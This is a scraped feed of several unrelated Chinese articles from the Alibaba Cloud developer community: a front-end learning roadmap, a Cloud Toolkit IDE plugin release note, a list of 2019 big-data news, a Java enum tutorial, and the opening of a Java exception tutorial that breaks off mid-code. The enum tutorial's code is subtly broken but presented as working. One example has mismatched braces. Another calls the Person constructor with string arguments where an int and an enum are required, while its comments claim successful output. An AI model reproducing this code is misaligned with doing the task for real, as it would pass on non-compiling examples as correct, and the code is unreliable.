        看看前端学习路线,你还有哪些没掌握?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        转自:一点通

        初级阶段(静态网页制作、JS编程入门)

        1.Photoshop入门

        图像处理基础知识、图像处理基础知识、分辨率、图像的色彩模式、常用的图像文件格式。Photoshop工作界面的介绍、文件操作、图像的显示效果、图像和画布尺寸的调整、绘制和编辑选区、选区的操作技巧、渐变工具和油漆桶工具。图像合成、图层、蒙版、配色、切图、色彩搭配原则。

        2.互联网基本原理

        互联网基本原理、服务器、浏览器、HTTP请求的概念。

        3.HTML

        编程工具介绍、HTML简介。HTML语义化标签、p标签和h系列标签。HTML基本骨架深入、HTML骨架。元信息标记meta、设置页面关键字、字符集、关键字、页面描述。a标签和img标签,相对路径、绝对路径。ul、ol、dl标签、div和span标签介,表单知识。

        4.CSS基础和高级技巧

        CSS介绍,选择器。文字属性、颜色属性。继承性和层叠性,权重计算。CSS盒模型,width、height、padding、border、margin属性。父子嵌套模型,使用Fireworks精确还原设计图。float浮动属性、浮动的意义、清除浮动的方法。浏览器兼容,CSS hack。background系列属性、css精灵、网页上透明。超级链接的伪类、导航条。position定位、定位小技巧。DIV+CSS布局。

        5.静态网站制作项目

        搜索引擎优化的概念、页面常用SEO技巧、学会有格调的制作页面。iconfont字体图标。一些常见的CSS高级技巧,比如负margin、压线技术、滑动门、列自撑技术。较复杂布局网站的学习,通栏banner、大背景等时下流行的网站制作方法。

        中级阶段(JS进阶、HTML5和CSS3、Ajax和Canvas)

        6.JavaScript基础

        语句、执行顺序、词法结构、标识符、关键字、变量、常量、alert语句和console控制台。值和变量、数字、文本、布尔值、null和undefined。表达式和运算符、运算符概述。流程控制、赋值语句、条件判断语句、if语句、switch语句、循环控制语句、while语句、do…while语句、for循环。跳转语句:continue、break。函数、参数、返回值、递归、作用域、全局变量、局部变量。

        7.JavaScript DOM编程

        事件与事件处理概述、事件与事件名称、常用事件、事件处理程序的调用、DOM事件模型、事件流、 事件对象、注册与移除事件。文档对象的常用属性、方法与事件、输出数据。事件的三要素。DOM对象、DOM概述、DOM分层、DOM级别、DOM对象节点属性、遍历文档树、克隆删除替换。动画基础知识、定时器、setInterval和setTimeout、运动效果、 实用的动画、制作运动效果。

        8.JQuery页面特效

        jQuery对象和DOM对象、jQ选择器、CSS操作、设置和获取HTML、文本和值。事件、加载DOM、事件绑定、合成事件、事件对象的属性。动画、自定义动画方法、动画回调函数、停止动画、其他动画方法。jQuery对表单、表格的操作及更多应用、表单应用、表格应用。jQuery插件,jQueryUI,jQuery ease,jQuery mousewheel等。超多页面特效!结合案例掌握了解jQuery插件的使用。

        9.JavaScript进阶

        命名空间、对象扩展、数组化、主流框架引入的机制——domReady、无冲突处理。语言模块、字符串的扩展与修复、数组的扩展与修复、数值的扩展与修复、函数的扩展与修复、 日期的扩展与修复、浏览器嗅探与特征侦测 、判定浏览器、事件的支持侦测、样式的支持侦测。类工厂、JavaScript对类的支撑、各种类工厂的实现。浏览器内置的寻找元素的方法、属性模块、如何区分固有属性与自定义属性。

        10.HTML5和CSS3

        HTML5概述、HTML5新特性、HTML5组织、HTML5构成、HTML5页面的特征、HTML基础、HTML5全局属性、HTML5其他功能、HTML5元素分类。实战HTML5表单、新增的input输入类型。HTML5音频与视频、HTML5多媒体技术概述、在HTML5中播放音频。CSS3编码规范、了解CSS3新增特性。CSS选择器、属性选择器、结构伪类选择器、UI伪类选择器。旋转动画、缩放动画、移动动画、倾斜动画。3D炫酷动画效果。

        11.移动web和响应式页面

        视口、缩放 、分辨率、物理分辨率、设备像素比、dppx和dpi 、meta视口。百分比布局、流式布局、CSS3新的流式盒模型。触摸和指针事件、触摸事件、手势事件 、其他事件、拖放、滚动层、事件和交互模式、移动端交互综合实战。zepto.js、jQuery Mobile等移动端常见框架。HTML5速成移动端框架。Bootstrap3 、调整响应式导航条断点。移动优先、Bootstrap栅格系统、栅格系统原理、Bootstrap中的JavaScript交互、Bootstrap敏捷开发。

        12.JavaScript面向对象

        创建对象、属性的查询和设置、 删除属性、检测属性、枚举属性、属性getter和setter、属性的特性、对象的三个属性、序列化对象、对象方法。类和模块、类和原型、类和构造函数、类的扩充、类和类型、子类。原型、实例化和原型、 对象实例化、通过构造器判断对象、继承与原型链、构造函数和原型对象 、构造函数、原型对象 、[[Prototype]]属性 、在构造函数中使用原型对象 、改变原型对象、内建对象的原型对象。

        13.服务器知识和PHP入门

        后台语言和前台语言的区别。初识PHP、PHP语言的优势、PHP 5的新特性、PHP的发展趋势、PHP的应用领域。PHP环境搭建和开发工具。PHP语言基础、PHP变量、PHP运算符、 PHP的表达式、PHP编码规范、流程控制语句、字符串操作、PHP数组、 PHP与Web页面交互。数据库技术概述、增删改查。

        14.Ajax

        Ajax概述与Ajax初体验、Ajax技术介绍、XMLHttpRequest对象详解、动态加载和显示数据、XMLHttpRequest对象概述、方法、属性、发送请求、GET和POST请求、运行周期、使用JSON响应、Ajax实用包的封装。JSON的解析、Underscore模板引擎、模板技术、动态组装页面、电话号码归属地查询、验证码等。Ajax实战篇 、Ajax高级表单验证程序 、Ajax动态联动菜单、瀑布流。

        15.Canvas和手机游戏

        Canvas绘图、基本知识、理解canvas坐标系、获取canvas环境上下文、理解路径、路径操作API 、绘制线条 、绘制矩形 、绘制圆弧 、绘制贝塞尔曲线 、线条属性 、线条颜色 、填充 、绘图状态。图像API、使用canvas绘制图像、坐标变换、绘制文字。游戏原理、制作2D游戏引擎、理解游戏循环、渲染引擎实现、使用引擎构建游戏实例、游戏常用算法。

        高级阶段(高端技术和高级框架)

        16.Nodejs企业级应用

        Node的特点、异步I/O、事件与回调函数、单线程、跨平台、Node的应用场景、I/O密集型、CommonJS规范、Node的模块实现 、路径分析和文件定位、模块编译 、核心模块、JavaScript核心模块的编译过程、网络编程、构建TCP服务。构建HTTP服务、构建WebSocket服务、网络服务与安全。MongoDB、Express、Mongoose、socket.io。小型微博系统、俄罗斯方块对战。Linux使用。

        17.Angular.js主流框架

        Angular基础知识 、 Angular中的控制器 、Angular中的模板 、Angular的过滤器、依赖注入、MVC模式 、Angular的服务 、与服务端交互 、Angular的指令。使用AngularJS构建一个单一页面应用程序(SPAs:Single Page Applications)。

        18.Backbone框架

        理解Backbone、模型、集合、视图、事件及其绑定 、RESTful服务、其他相关技术 、使用Require.js组织项目结构。模型(models)、集合(collections)、视图(views)结构学习。绑定键值数据、自定义事件、可枚举函数、声明事件处理函数、RESRful JSON接口。

        19.Yeoman脚手架

        基本安装、配置、HTML模板、图片压缩、构建工具、包管理器、JSLint测试。

        20.Grunt和Gulp

        GIT、SVN、Grunt、Gulp、Webpack。通过代码优于配置的策略,Gulp 让简单的任务简单,复杂的任务可管理。利用 Node.js 流的威力,你可以快速构建项目并减少频繁的 IO 操作。通过最少的 API,掌握 Gulp 毫不费力,构建工作尽在掌握:如同一系列流管道。

        21.Sass,less和stylus

        GIT、SVN、Grunt、Gulp、Webpack。sass中可以定义变量,方便统一修改和维护。用sass进行选择器的嵌套,表示层级关系。用sass中导入其他sass文件,最后编译为一个css文件t。用sass中可用mixin定义一些代码片段,且可传参数,方便日后根据需求调用。

        22.ECMAscript2016

        简介、let和const命令、变量的解构赋值、字符串的扩展、正则的扩展、数值的扩展、数组的扩展、函数的扩展、对象的扩展、Symbol、Set和Map数据结构、Proxy、Reflect、Iterator和for...of循环、Generator函数、Promise对象、异步操作和Async函数、Class、Decorator、Module、编程风格、读懂规格、二进制数组、SIMD

        23.React构建视图组件

        React简介、JSX、组件的生命周期、实例化、数据流、事件处理、组件的复合、mixin、DOM操作、动画、性能优化、服务端渲染、周边类库。VUE数据模板、生命周期、过滤器。

        24.Vue界面的前端库

        遇见Vue.js、数据绑定、指令、计算属性、表单控件绑定、过滤器、Class与Style绑定、过渡、绑定事件、组件、表单校验、分组校验、与服务端通信、RESTful调用。

        25.Cordova和Phonegap

        使用加速计和位置传感器、文件系统、存储及本地数据库、处理音频、图像和视频、处理通讯录、本地事件、使用XUI、使用jQuery Mobile进行用户界面开发、PhoneGap插件扩展、开发工具及测试。

        26.ionic 框架

        Ionic和Hybrid应用介绍、配置开发环境 、Ionic导航和核心组件、选项卡、高级列表和表单组件、开发高级应用、使用 Ionic 命令行代理、在页面中使用 ionScroll、过滤器:转换视图中的数据。

        27.React Native移动开发

        React Native简介、React Native开发基础、常用组件介绍及实践、TextInput组件、九宫格实现、NavigatorIOS组件、Touchable类组件、状态机思维与状态机变量、深入理解UI重新渲染的过程、Navigator组件工作机制、混合开发基础、组件生命周期、数据存储及React Native应用实现步骤。

        28.JS微信开发

        微信公众平台介绍 、使用云平台快速搭建公众账号 、在新浪SAE上创建App、部署代码 、开发接口的认证 、微信公众平台API详解:基础接口 、回复消息、微信公众平台API详解:高级开发、各接口的调用频次限制、客服接口 、二维码开发 、wechat的JS开发 、搭建开发环境和相关技术介绍 、海量请求的应对方法 、监控服务器的各项指标、恶意请求的应对方法。

        好了,希望这里的资料会对你有所帮助。

        ]]>
        IDE 插件新版本发布,总有一个功能帮到你——开发部署提速 8 倍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 对于开发者而言,提高工作效率大概有 2 种主要方式,第一种方式就是加快自己的工作速度,争取在同一段时间内多码一些代码、多干一些活来实现多产;而聪明的开发者会选择第二种方式,就是通过插件,让一些重复性的、繁琐性的工作被自动化,从而节省出时间来做一些实质性的业务,达到轻松又高效的工作步调。

        最近通过发布会直播,了解到一款本地 IDE 插件——Cloud Toolkit,就是通过第二种方式来提高开发者的工作效率。它能够帮助开发者更高效地开发、测试、诊断并部署应用,还支持快速创建 Dubbo 工程等等,自去年 12 月上线以来,就超过几万的开发者在使用这款插件。(观看中间件小姐姐直播演示,请点击)

        本文将为大家盘点,Cloud Toolkit 的最新几个版本都为开发者带来了哪些新特性。以下是本文提纲:

        • 核心功能:一键部署应用
        • 支持 Windows 服务器部署
        • 支持 EDAS Kubernetes 集群部署
        • 支持 SSH 代理(跳板机)
        • 应用部署实时日志查看
        • 快速创建开源 RPC 框架 Dubbo 工程

        更详细的操作可见:https://help.aliyun.com/document_detail/29968.html(点击“阅读原文”)

        核心功能:一键部署应用

        通过简单的初始化配置,这款插件就可以实现项目构建、打包、上传、部署的自动化,支持发布到云端(ECS、EDAS 和 Kubernetes 等)和任意服务器(Host)上。它不仅集成阿里巴巴代码规约(自动检测整个Java工程或单个Java文件的代码规范),还内置了 Arthas 程序诊断、Dubbo工具、Terminal Shell 终端和 MySQL 执行器等工具。

        支持 Windows 服务器部署

        针对采用 Windows 系统的开发者,插件现在已经支持将应用部署到 Windows 服务器,无需在一系列运维工具之间切换,只需在图形界面上选择目标服务器即可快速部署。操作步骤如下:(了解具体操作请点击“阅读原文”

        1. 在 IntelliJ IDEA 中导入您的工程;
        2. 添加服务器;

          • 在顶部菜单栏中选择 Tools > Alibaba Cloud > Alibaba Cloud View > Host
          • 在弹出的 Host 页签中单击 Add Host
          • Add Host 对话框中设置 Host List、Username、Password 和 Tag 等参数,完成后单击 Add

        3. 部署应用;

          • 在 IntelliJ IDEA 界面左侧的 Project 中右键单击您的工程,在快捷菜单中选择 Alibaba Cloud > Deploy to Host
          • Deploy to Host 对话框设置部署参数然后单击 Run

        支持 EDAS Kubernetes 集群部署

        针对阿里云的 EDAS 用户,Cloud Toolkit 实现了与 EDAS Kubernetes 集群的集成,开发者可以方便地在 IDE 中,直接将应用一键部署到对应的 Kubernetes 集群中去。操作步骤如下:(了解具体操作请点击“阅读原文”

        1. 在 IntelliJ IDEA 上单击 Cloud Toolkit 的图标,在下拉列表中选择 Deploy to EDAS -> EDAS for Kubernetes Application
        2. 在 Deploy to EDAS 对话框配置应用部署参数(如果您还没有在 EDAS 上创建应用,在对话框右上角单击 Create application on EDAS console…,跳转到 EDAS 控制台创建应用);

        1. 单击 Run,IntelliJ IDEA 的 Console 区域会打印部署日志,可以根据日志信息检查部署结果;

        支持 SSH 代理(跳板机)

        在部署的场景里,部分开发者会遇到如上图的困境:出于安全考虑,本地开发机和远程部署服务器 192.168.0.1 之间,网络上是不连通,只能通过一台代理机(俗称 “跳板机” )来打通网络环境。针对这样的情况,新版本 Cloud Toolkit 已经支持了 SSH 代理,来解决这部分开发者的困境,操作步骤如下:(了解具体操作请点击“阅读原文”

        1. 添加代理机;

          • 点击菜单: Tools - Alibaba Cloud - Alibaba Cloud View - Host
          • 点击 Add Host 按钮,在弹出的弹窗中,依次输入代理机的IP地址、用户名和密码(如下图所示:47.95.120.154 这台机器就是我们添加的机器 P),点击 Add 按钮 完成添加

        2. 添加目标部署机器;

        该步骤和上述第一步完全一致,不再赘述。我们添加一台 IP 地址为 192.168.20.247 的机器 T。注意,此时先不要点击 Add 按钮,直接进入第三步。

        1. 将机器 P 设置为机器 T 的代理;

        如下图,点击Advanced 标签页,在 SSH Proxy 项中选择刚刚添加的机器 P:47.95.120.154,点击 Add 按钮 完成添加。

        应用部署实时日志查看

        最新版本 Cloud Toolkit 新增了在对远程服务器应用部署时,查看实时日志的功能,这能够方便开发者在触发应用部署之后,就立即查看远程服务器上部署日志,第一时间看到启动,包括运行时的报错信息,进而跟进排查问题。操作步骤如下:(了解具体操作请点击“阅读原文”

        1. 打开应用部署的配置界面,点击「Advanced」标签页,如下图所示;

        1. Command 中填入查看实时日志的命令即可,并且勾选上 “Automatic open after deploy”,这样配置之后,就会在应用部署过程中,打开实时日志查看的 Terminal 了。查看实时日志的命令一般为:

          tail -f /root/act_tomcat/tomcat/logs/catalina.out -n200

        快速创建开源 RPC 框架 Dubbo 工程

        在最新版中,提供了快速创建 Dubbo 工程的功能。Dubbo 采用全 Spring 配置方式,透明化接入应用,对应用没有任何 API 侵入,只需用 Spring 加载 Dubbo 的配置即可,Dubbo 基于 Spring 的 Schema 扩展 进行加载。如果不想使用 Spring 配置,可以通过 API 的方式 进行调用。操作步骤如下:(了解具体操作请点击“阅读原文”

        1. 打开 IntelliJ IDEA,进入菜单:File - New - Project...
        2. 选择 JAVA SDK 版本,点击 Next
        3. 如下图,填写基本信息,包括 Dubbo 版本、Spring Boot 版本等;

        1. 确定创建;

        如下图所示,就完成了一个完整的 Dubbo 工程的创建了,此工程的结构和 Apache Dubbo 官方样例工程完全一致。

        总结

        关于插件的功能还有很多,大家可以安装体验一下,相信总有一个特性能击中你的痛点,也期待 Cloud Toolkit 逐渐强大,为更多开发者解决更多的问题。

        lADPDgQ9q_wwZq3NAUvNAUc_327_331_jpg_620x10000q90g

        钉钉进群:群号 21961177

        lALPDgQ9q_wwZr7NASzNASw_300_300_png_620x10000q90g

        微信进群:(加产品经理,拉你入群)

        ]]>
        2019年大数据十大新闻盘点-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:数据观

        image.png

        随着大数据发展上升为国家战略,全国各地加速布局,开创了大数据产业发展的新局面。在2019年,我国大数据市场保持稳定增长,基础设施建设、人才培养、融合应用、行业规范等成为大数据发展的主基调。那么,在本年度,中国及全球的大数据领域发生了哪些热度比较高的事件?数据观通过详细梳理,盘点了2019年大数据10大新闻。


        新闻01 欧盟《通用数据保护条例(GDPR)》实施后,多家企业获罚单

        2018年5月25日起,欧盟《通用数据保护条例(GDPR)》正式生效,这一条例被称为“史上最严数据保护法案”。今年1月21日,法国数据监管部门开出首张GDPR罚单,对美国搜索巨头谷歌处以5000万欧元罚款,约合人民币3.66亿元。法国国家信息自由委员会(CNIL)在声明中称,Google在处理个人用户数据时存在缺乏透明度、用户获知信息不充分以及缺乏对个性化广告的有效同意等问题,这也是GDPR实施后数额最大的罚单。

        在2019年,被处以重罚的科技企业远不止谷歌一个。7月,针对2018年剑桥分析的隐私泄漏丑闻,经美国联邦贸易委员会(FTC)最终裁决,Facebook被处以罚款50亿美元,这是FTC对一家科技公司所开出的史上最大罚单。


        新闻02 工信部等三部门发布绿色数据中心建设指导意见

        2月12日,工业和信息化部、国家机关事务管理局、国家能源局联合印发《关于加强绿色数据中心建设的指导意见》,提出以提升数据中心绿色发展水平为目标,以加快技术产品创新和应用为路径,以建立完善绿色标准评价体系等长效机制为保障,大力推动绿色数据中心创建、运维和改造,引导数据中心走高效、清洁、集约、循环的绿色发展道路,实现数据中心持续健康发展。

        《意见》明确,要建立健全绿色数据中心标准评价体系和能源资源监管体系,打造一批绿色数据中心先进典型,形成一批具有创新性的绿色技术产品、解决方案,培育一批专业第三方绿色服务机构。


        新闻03 大数据、云计算工程技术等成为国家新职业

        今年上旬,我国人力资源和社会保障部联合国家市场监管总局、国家统计局向社会发布了13个新职业,其中包括大数据工程技术人员、云计算工程技术人员和数字化管理师三项与大数据行业相关的新职业。

        其中,大数据工程技术人员定义为,从事大数据采集、清洗、分析、治理、挖掘等技术研究,并加以利用、管理、维护和服务的工程技术人员。

        主要工作任务包括:1.研究、开发大数据采集、清洗、存储及管理、分析及挖掘、展现及应用等技术;2.研究、应用大数据平台体系架构、技术和标准;3.设计、开发、集成、测试大数据软硬件系统;4.大数据采集、大数据清洗、大数据建模与大数据分析;5.管理、维护并保障大数据系统稳定运行;6.监控、管理和保障大数据安全;7.提供大数据的技术咨询和技术服务。

        云计算工程技术人员定义为,从事云计算技术研究,云系统构建、部署、运维,云资源管理、应用和服务的工程技术人员。

        主要工作任务包括:1.研究、开发虚拟化、云平台、云资源管理和分发等云计算技术,以及大规模数据管理、分布式数据存储等相关技术;2.研究、应用云计算技术、体系架构、协议和标准;3.规划、设计、开发、集成、部署云计算系统;4.管理、维护并保障云计算系统的稳定运行;5.监控、保障云计算系统安全;6.提供云计算系统的技术咨询和技术服务。

        数字化管理师定义为利用数字化办公软件平台,进行企业及组织人员架构编辑、组织运营流程维护、工作流协同、大数据决策分析、企业上下游在线化连接,使企业组织在线、沟通在线、协同在线、业务在线、生态在线,实现企业经营管理在线化、数字化的人员。

        主要工作任务包括:1.将企业及组织人员架构编辑在数字化管理平台,负责制定企业数字化办公软件推进计划和落地实施方案,进行扁平可视化管理;2.负责数字化办公所有模块的搭建和组织运转必备流程的维护,实现组织高效安全的沟通;3.设定企业及组织工作流协同机制,实现知识经验的沉淀和共享;4.通过业务流程和业务行为的在线化,实现企业的大数据决策分析;5.以企业为中心的上下游和客户都实现在线化连接,用大数据优化整个生态的用户体验,不断提升生产销售效率。


        新闻04 196所高校获批“数据科学与大数据技术”专业

        教育部今年3月印发了《教育部关于公布2018年度普通高等学校本科专业备案和审批结果的通知》,共196所高校获批“数据科学与大数据技术”专业。加上此前三批高校,我国已有480余所高校成功获批“数据科学与大数据技术”专业。

        此外,今年还有25所高校获批“大数据管理与应用”专业。在今年获批的高校中,河南省、山东省、湖北省、陕西省的高校数量领先于其他省份。


        新闻05 2019数博会在贵阳成功举办

        5月26日,2019中国国际大数据产业博览会(简称“数博会”)在贵州省贵阳市开幕,会议围绕“一会、一展、一发布、大赛及系列活动”展开。习近平总书记再次为数博会发来贺信。

        习近平在贺信中指出,当前,以互联网、大数据、人工智能为代表的新一代信息技术蓬勃发展,对各国经济发展、社会进步、人民生活带来重大而深远的影响。各国需要加强合作,深化交流,共同把握好数字化、网络化、智能化发展机遇,处理好大数据发展在法律、安全、政府治理等方面挑战。

        本届数博会共举办了162场活动,参会和观展人数超过12.5万人,参会企业(机构)4847家,参展企业(机构)448家,布展面积6万平方米,共展出超过1200余项最新产品、技术和解决方案。

        数博会作为全球首个大数据主题博览会,至此已连续在贵阳成功举办五届,2017年升格为国家级博览会,成为充满合作机遇、引领行业发展的国际性盛会,成为共商发展大计、共用最新成果的世界级平台。


        新闻06 十余家大数据公司接连被查,祸起网络爬虫、“套路贷”

        自今年9月以来,多家大数据公司接连被查,巨变启幕,行业“一夜入冬”。

        2019年9月6日,第三方数据风控公司魔蝎数据和新颜科技的相关负责人在同一天被警方带走调查,由此拉开了行业大整顿的序幕。之后,聚信立、天翼征信、公信宝、同盾科技子公司、51信用卡等诸多公司也相继被查。

        11月20日再传出消息,江苏淮安警方打击了7家涉嫌侵犯公民个人信息犯罪的公司,涉嫌非法缓存公民个人信息1亿多条,其中,拉卡拉支付旗下的考拉征信涉嫌从上游公司获取接口后,违规将查询接口出卖。

        行业最严监管已经来临,业内人士表示:大数据发展和利用从野蛮生长时代进入了正规化管理的关键时代。


        新闻07 换脸软件“ZAO”从爆红到被约谈,部分APP侵犯用户隐私受关注

        今年9月,一款名为“ZAO”的换脸社交软件因其新颖的形式和强大的功能迅速引爆社交网络。走红之后,ZAO的用户协议引发了广泛质疑,部分用户在网络上公开表达了关于隐私、肖像权等问题的担忧。

        随后,针对媒体公开报道和用户曝光的“ZAO”App用户隐私协议不规范,存在数据泄露风险等网络数据安全问题,工业和信息化部网络安全管理局对北京陌陌科技有限公司负责人进行了问询约谈,要求其开展自查整改,依法依规收集使用用户个人信息,规范协议条款,强化网络数据和用户个人信息安全保护。

        随着此类换脸软件火爆网络,涉及隐私数据安全的换脸、人脸识别相关应用也越来越受到大家的关注。央视新闻记者调查发现,多款APP还存在着随意收集人脸数据信息的情况。比如一款叫做“人脸打分”的APP和另外一款叫做“证件照随拍”的APP,在没有任何使用协议的情况下,随意采集用户的人脸数据信息;一款名为“转转”的APP上以关键词“人脸数据集”搜索相关信息,迅速弹出了一件名为“人脸相关算法训练数据集”的商品,这个数据集包含5000多张人脸,打包只要10元。此外,在百度一个名为“快眼”的贴吧,也发现有销售者在兜售人脸数据。


        新闻08 2019年中国大数据企业50强发布,华为、腾讯、阿里位列前三

        在9月举办的2019世界计算机大会上,工信部等部门发布了《2019中国大数据产业发展白皮书》,并公布了2019中国大数据企业50强榜单。榜单显示,随着移动互联网、物联网、云计算产业的深入发展,2019年大数据体量呈现爆发式增长态势。2018年我国大数据产业规模突破6000亿元;随着大数据在各行业的融合应用不断深化,预计2019年中国大数据市场产值将达到8080亿元。

        在榜单中,华为、腾讯、阿里、小米、百度、滴滴出行、中科曙光等企业入选50强名单。

        该榜单由政府主管部门领导、大数据产业资深专家、名企CIO、高校、研究机构、投资人专家共同组成专家委员会,从大数据产品、解决方案、应用案例、投融资需求及发展潜力等多个维度对大数据企业进行考核评审产生。


        新闻09 六个“国家数字经济创新发展试验区”正式启动

        今年10月20日,在国家数字经济创新发展试验区启动会在第六届世界互联网大会(乌镇峰会)期间正式召开,会议发布了《国家数字经济创新发展试验区实施方案》,并向浙江省、河北省(雄安新区)、福建省、广东省、重庆市、四川省等6个“国家数字经济创新发展试验区”授牌,正式启动试验区创建工作。

        会议要求,各试验区要坚持新发展理念,坚持推动高质量发展,坚持以深化供给侧结构性改革为主线,结合各自优势和结构转型特点,在数字经济要素流通机制、新型生产关系、要素资源配置、产业集聚发展模式等方面开展大胆探索,充分释放新动能。


        新闻10 我国多地区出台数据管理办法

        今年以来,为规范大数据产业发展,我国多部门、多地区出台了数据管理相关办法。例如,为进一步加强科学数据管理,保障科学数据安全,提高科学数据开放共享水平提供了制度规范,中国科学院在2月印发《中国科学院科学数据管理与开放共享办法(试行)》;5月28日,国家网信办对《数据安全管理办法(征求意见稿)》公开征求意见,征求意见稿提到,国家采取措施,监测、防御、处置来源于中华人民共和国境内外的数据安全风险和威胁,保护数据免受泄露、窃取、篡改、毁损、非法使用等,依法惩治危害数据安全的违法犯罪活动。

        此外,今年1月1日,《天津市促进大数据发展应用条例》正式施行;1月17日,《吉林省公共数据和一网通办管理办法(试行)》公布;《贵州省大数据安全保障条例》10月1日起施行;11月1日,《海南省大数据开发应用条例》正式实施;11月15日,《福州市政务数据资源管理办法》《福州市政务数据汇聚共享管理暂行办法》《福州市政务数据资源共享开放考核暂行办法》《福州市公共数据开放管理暂行办法》等四部数据资源相关管理办法正式实施。

        ]]>
        全能的枚举类 | 带你学《Java面向对象编程》之七十五-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:迅速了解多例模式竞争者-枚举 | 带你学《Java面向对象编程》之七十四
        【本节目标】
        通过阅读本节内容,你将了解到enum关键字与Enum抽象类的区别,并能够掌握在枚举类中编写其他内容的方法,学会在日常开发中合理利用枚举类简化代码逻辑。

        Enum类

        严格意义上来讲,枚举并不属于一种新的结构,其本质相当于是一个类,但是这个类会默认继承Enum类,首先来观察一下Enum类的基本定义:

        public abstract class Enum<E extends Enum<E>>
        extends Object
        implements Comparable<E>, Serializable

        现在定义的枚举类的类型就是Enum中所使用的E类型。下面来观察一下Enum类中定义的方法。

        No. 方法名称 类型 描述
        01 protected Enum(String name,int ordinal) 构造 传入名字和序号
        02 public final String name() 普通 获得对象名字
        03 public final int ordinal() 普通 获得对象序号

        范例:观察Enum类的存在

        enum Color {    //枚举类
            RED,GREEN, BLUE ;    //实例化对象
        }
        public class JavaDemo{
           public static void main(String args[]) {
               for (Color c : Color.values()) {
                    System.out.println(c.ordinal() + " - " + c.name()) ;
               }
           }     
        }

        image.png
        图一 执行结果一

        在枚举之中每一个对象的序号都是根据枚举对象的定义顺序而决定的。
        面试题:请解释enum与Enum的区别?

        • enum:是从JDK1.5之后提供的一个关键字,用于定义枚举类;
        • Enum:是一个抽象类,所以使用enum关键字定义的类就默认继承了此类。

        定义枚举结构

        一直强调枚举本身就属于多例设计模式,那么既然是多例设计模式,那么在一个类之中可以定义的结构是非常多的,例如:构造方法、普通方法、属性等,那么这些内容在枚举类中依然可以直接定义,但是需要注意的是:枚举类中定义的构造方法不能够采用非私有化定义(public无法使用)。
        范例:在枚举类中定义其它的结构

        enum Color {    //枚举类
            RED("红色"),GREEN("绿色"), BLUE("蓝色") ;    //枚举对象要写在首行
            private String title ;   //定义属性
            private Color(String title) {
                  this.title = title ;
            }
            public String toString() {
                  return this.title ;
            }
        }
        public class JavaDemo{
           public static void main(String args[]) {
              for (Color c : Color.values()) {      
                  System.out.println(c.ordinal() + " - " + c.name() + " - " + c) ;
              }
           }     
        }

        本程序在简化程度上一定要远远高于多例设计模式。除了这种基本的结构之外,在枚举类中也可以实现接口的继承。
        范例:让枚举实现接口

        interface IMessage{
            public String getMessage() ;
        }
        enum Color implements IMessage {    //枚举类
            RED("红色"),GREEN("绿色"), BLUE("蓝色") ;    //枚举对象要写在首行
            private String title ;   //定义属性
            private Color(String title) {
                  this.title = title ;
            }
            public String toString() {
                  return this.title ;
            }
            public String getMessage() {
                  return this.title ;
            }
        }
        public class JavaDemo{
           public static void main(String args[]) {
              IMessage msg = Color.RED ;
              System.out.println(msg.getMessage()) ;     //红色
           }     
        }

        在枚举类中,最有意思的是它可以直接定义抽象方法,并且要求每一个枚举对象都要独立覆写此抽象方法。
        范例:观察枚举中定义抽象方法

        enum Color  {    //枚举类
           RED("红色") {
              public String getMessage() {
                  return this.toString() ;
              }
           },GREEN("绿色") {
              public String getMessage() {
                  return this.toString() ;
              }, BLUE("蓝色") {
              public String getMessage() {
                  return this.toString() ;
              };    //枚举对象要写在首行
          private String title ;   //定义属性
          private Color(String title) {
             this.title = title ;
          }
          public String toString() {
             return this.title ;
          }
          public abstract String getMessage() ;
        }
        public class JavaDemo{
           public static void main(String args[]) {
               System.out.println(Color.RED.getMessage()) ;   //红色
           }     
        }

        发现枚举的定义是非常灵活的,但是在实际的使用之中,枚举更多情况下还是建议使用它的正确用法,就是定义一个实例对象即可。

        枚举的实际应用

        下面为了更好的巩固枚举的使用,编写一个程序来观察枚举的应用,例如:现在定义一个Person类,里面一定有性别,性别肯定不希望用户能随意输入,所以使用枚举最合适。
        范例:使用枚举

        enum Sex {
            MALE("男") ,FEMALE("女") ;
            private String title ;
            private Sex(String title) {
                  this.title = title ;
            }
            public String toString() {
                  return this.title ;
            }
        }
        class Person {
            private String name ;
            private int age ;
            private Sex sex ;
            public Person(String name ,int age , Sex sex) {
                 this.name = name ;
                 this.age = age ;
                 this.sex = sex ;
            }
            public String toString() {
                 return "姓名:" + this.name + "、年龄:" + this.age + "、性别:" + this.sex ;
            }
        }
        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println(new Person("张三" ,"20" ,"男")) ;    //姓名:张三、年龄:20、性别:男
            }     
        }

        这个程序实际上不使用枚举也能正常实现,追加几个判断即可,所以对于枚举的使用,采用自愿即可。

        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:出错保障局-异常处理机制 | 带你学《Java面向对象编程》之七十六
        更多Java面向对象编程文章查看此处

        ]]>
        出错保障局-异常处理机制 | 带你学《Java面向对象编程》之七十六-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:全能的枚举类 | 带你学《Java面向对象编程》之七十五
        【本节目标】
        通过阅读本节内容,你将了解到异常的基本定义,以及处理异常的基本方法,学会使用try...catch...finally语法实现异常的捕获与处理。

        Java语言提供的最强大的支持就在于异常的处理操作上。

        认识异常对程序的影响

        异常指的是导致程序中断执行的一种指令流。那么下面首先来观察没有异常产生的程序执行结果。
        范例:没有异常产生

        public class JavaDemo{
           public static void main(String args[]) {
               System.out.println("【1】******程序开始执行******") ; 
               System.out.println("【2】数学计算:" +(10 / 2)) ;   
               System.out.println("【3】******程序执行完毕******") ;    
           }     
        }

        image.png
        图一 执行结果一

        在程序执行正常的过程里面会发现,所有的程序会按照既定的结构从头到尾开始执行。
        范例:产生异常

        public class JavaDemo{
            public static void main(String args[]) {
               System.out.println("【1】*****程序开始执行*****") ; 
               System.out.println("【2】数学计算:" +(10 / 0)) ;   
               System.out.println("【3】*****程序执行完毕*****") ;    
            }     
        }

        image.png
        图二 执行出现错误

        在出现错误之后,整个程序将不会按照既定的程序进行执行,而是中断了执行。那么为了保证程序出现了非致命错误之后程序依然可以正常完成,所以就需要有一个完善的异常处理机制,以保证程序的顺利执行。

        处理异常

        在Java之中如果要进行异常的处理,可以使用:try、catch、finally这几个关键字来完成,其基本的处理结构如下:

        try{
               //可能出现异常的语句
